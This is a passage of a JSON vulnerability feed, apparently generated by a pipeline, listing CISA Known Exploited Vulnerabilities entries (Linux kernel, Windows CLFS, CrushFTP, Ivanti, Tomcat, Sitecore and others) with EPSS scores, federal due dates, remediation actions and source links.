unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01354,"percentile":0.71383,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-53150&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-53150","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-04-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-53150 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-53150&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-53150, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-53197","cveId":"CVE-2024-53197","aliases":[],"kind":"vulnerability","title":"Linux Kernel Out-of-Bounds Access Vulnerability","summary":"Linux Kernel contains an out-of-bounds access vulnerability in the USB-audio driver that allows an attacker with physical access to the system to use a malicious USB device to potentially manipulate system memory, escalate privileges, or execute arbitrary code.","detail":"CISA added this entry on 2025-04-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-04-09","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-04-09","dueAt":"2025-04-30","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04117,"percentile":0.90711,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-53197&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-53197","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-04-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-53197 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-53197&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-53197, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-29824","cveId":"CVE-2025-29824","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Common Log File System (CLFS) Driver Use-After-Free Vulnerability","summary":"Microsoft Windows Common Log File System (CLFS) Driver contains a use-after-free vulnerability that allows an authorized attacker to elevate privileges locally.","detail":"CISA added this entry on 2025-04-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-04-08","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-04-08","dueAt":"2025-04-29","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.19254,"percentile":0.97316,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-29824&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-29824","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-04-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-29824 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-29824&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-29824, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-30406","cveId":"CVE-2025-30406","aliases":[],"kind":"vulnerability","title":"Gladinet CentreStack and Triofox Use of Hard-coded Cryptographic Key Vulnerability","summary":"Gladinet CentreStack and Triofox contains a use of hard-coded cryptographic key vulnerability in the way that the application manages keys used for ViewState integrity verification. Successful exploitation allows an attacker to forge ViewState payloads for server-side deserialization, allowing for remote code execution.","detail":"CISA added this entry on 2025-04-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-04-08","updatedAt":null,"regions":["Global"],"vendor":"Gladinet","product":"CentreStack","stacks":["Gladinet","CentreStack"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-04-08","dueAt":"2025-04-29","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.94343,"percentile":0.99849,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-30406&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-30406","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-04-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-30406 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-30406&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-30406, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-31161","cveId":"CVE-2025-31161","aliases":[],"kind":"vulnerability","title":"CrushFTP Authentication Bypass Vulnerability","summary":"CrushFTP contains an authentication bypass vulnerability in the HTTP authorization header that allows a remote unauthenticated attacker to authenticate to any known or guessable user account (e.g., crushadmin), potentially leading to a full compromise.","detail":"CISA added this entry on 2025-04-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-04-07","updatedAt":null,"regions":["Global"],"vendor":"CrushFTP","product":"CrushFTP","stacks":["CrushFTP"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-04-07","dueAt":"2025-04-28","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99966,"percentile":0.99976,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-31161&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-31161","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-04-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-31161 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-31161&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-31161, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-22457","cveId":"CVE-2025-22457","aliases":[],"kind":"vulnerability","title":"Ivanti Connect Secure, Policy Secure, and ZTA Gateways Stack-Based Buffer Overflow Vulnerability","summary":"Ivanti Connect Secure, Policy Secure, and ZTA Gateways contains a stack-based buffer overflow vulnerability that allows a remote unauthenticated attacker to achieve remote code execution.","detail":"CISA added this entry on 2025-04-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations as set forth in the CISA instructions linked below.","publishedAt":"2025-04-04","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Connect Secure, Policy Secure, and ZTA Gateways","stacks":["Ivanti","Connect Secure, Policy Secure, and ZTA Gateways"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-04-04","dueAt":"2025-04-11","action":"Apply mitigations as set forth in the CISA instructions linked below.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99981,"percentile":0.99982,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-22457&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-22457","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-04-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-22457 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-22457&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-22457, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-24813","cveId":"CVE-2025-24813","aliases":[],"kind":"vulnerability","title":"Apache Tomcat Path Equivalence Vulnerability","summary":"Apache Tomcat contains a path equivalence vulnerability that allows a remote attacker to execute code, disclose information, or inject malicious content via a partial PUT request. This vulnerability can be chained with CVE‑2026‑34486.","detail":"CISA added this entry on 2025-04-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-04-01","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Tomcat","stacks":["Apache Tomcat","Apache","Tomcat"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-04-01","dueAt":"2025-04-22","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99942,"percentile":0.99972,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-24813&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-24813","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-04-01","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-24813 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-24813&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-24813, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-20439","cveId":"CVE-2024-20439","aliases":[],"kind":"vulnerability","title":"Cisco Smart Licensing Utility Static Credential Vulnerability","summary":"Cisco Smart Licensing Utility contains a static credential vulnerability that allows an unauthenticated, remote attacker to log in to an affected system and gain administrative credentials.","detail":"CISA added this entry on 2025-03-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-31","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Smart Licensing Utility","stacks":["Cisco","Smart Licensing Utility"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-31","dueAt":"2025-04-21","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9709,"percentile":0.99892,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-20439&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-20439","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-31","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-20439 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-20439&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-20439, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-2783","cveId":"CVE-2025-2783","aliases":[],"kind":"vulnerability","title":"Google Chromium Mojo Sandbox Escape Vulnerability","summary":"Google Chromium Mojo on Windows contains a sandbox escape vulnerability caused by a logic error, which results from an incorrect handle being provided in unspecified circumstances. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2025-03-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-27","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium Mojo","stacks":["Google Chrome","Google","Chromium Mojo"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-27","dueAt":"2025-04-17","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.09238,"percentile":0.95315,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-2783&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-2783","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-27","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-2783 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-2783&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-2783, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-9874","cveId":"CVE-2019-9874","aliases":[],"kind":"vulnerability","title":"Sitecore CMS and Experience Platform (XP) Deserialization Vulnerability","summary":"Sitecore CMS and Experience Platform (XP) contain a deserialization vulnerability in the Sitecore.Security.AntiCSRF module that allows an unauthenticated attacker to execute arbitrary code by sending a serialized .NET object in the HTTP POST parameter __CSRFTOKEN.","detail":"CISA added this entry on 2025-03-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-26","updatedAt":null,"regions":["Global"],"vendor":"Sitecore","product":"CMS and Experience Platform (XP)","stacks":["Sitecore","CMS and Experience Platform (XP)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-26","dueAt":"2025-04-16","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.83736,"percentile":0.99686,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-9874&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-9874","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-26","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-9874 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-9874&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-9874, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-9875","cveId":"CVE-2019-9875","aliases":[],"kind":"vulnerability","title":"Sitecore CMS and Experience Platform (XP) Deserialization Vulnerability","summary":"Sitecore CMS and Experience Platform (XP) contain a deserialization vulnerability in the Sitecore.Security.AntiCSRF module that allows an authenticated attacker to execute arbitrary code by sending a serialized .NET object in the HTTP POST parameter __CSRFTOKEN.","detail":"CISA added this entry on 2025-03-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-26","updatedAt":null,"regions":["Global"],"vendor":"Sitecore","product":"CMS and Experience Platform (XP)","stacks":["Sitecore","CMS and Experience Platform (XP)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-26","dueAt":"2025-04-16","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.25436,"percentile":0.97933,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-9875&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-9875","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-26","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-9875 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-9875&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-9875, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-30154","cveId":"CVE-2025-30154","aliases":[],"kind":"vulnerability","title":"reviewdog/action-setup GitHub Action Embedded Malicious Code Vulnerability","summary":"reviewdog action-setup GitHub Action contains an embedded malicious code vulnerability that dumps exposed secrets to Github Actions Workflow Logs.","detail":"CISA added this entry on 2025-03-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations as set forth in the CISA instructions linked below. Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-24","updatedAt":null,"regions":["Global"],"vendor":"reviewdog","product":"action-setup GitHub Action","stacks":["Reviewdog","reviewdog","action-setup GitHub Action"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-24","dueAt":"2025-04-14","action":"Apply mitigations as set forth in the CISA instructions linked below. Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02485,"percentile":0.84489,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-30154&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-30154","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-30154 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-30154&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-30154, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-12637","cveId":"CVE-2017-12637","aliases":[],"kind":"vulnerability","title":"SAP NetWeaver Directory Traversal Vulnerability","summary":"SAP NetWeaver Application Server (AS) Java contains a directory traversal vulnerability in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS that allows a remote attacker to read arbitrary files via a .. (dot dot) in the query string.","detail":"CISA added this entry on 2025-03-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-19","updatedAt":null,"regions":["Global"],"vendor":"SAP","product":"NetWeaver","stacks":["SAP","NetWeaver"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-19","dueAt":"2025-04-09","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.95111,"percentile":0.99863,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-12637&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-12637","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-19","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-12637 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-12637&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-12637, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-48248","cveId":"CVE-2024-48248","aliases":[],"kind":"vulnerability","title":"NAKIVO Backup and Replication Absolute Path Traversal Vulnerability","summary":"NAKIVO Backup and Replication contains an absolute path traversal vulnerability that enables an attacker to read arbitrary files.","detail":"CISA added this entry on 2025-03-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-19","updatedAt":null,"regions":["Global"],"vendor":"NAKIVO","product":"Backup and Replication","stacks":["NAKIVO","Backup and Replication"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-19","dueAt":"2025-04-09","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.94356,"percentile":0.9985,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-48248&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry 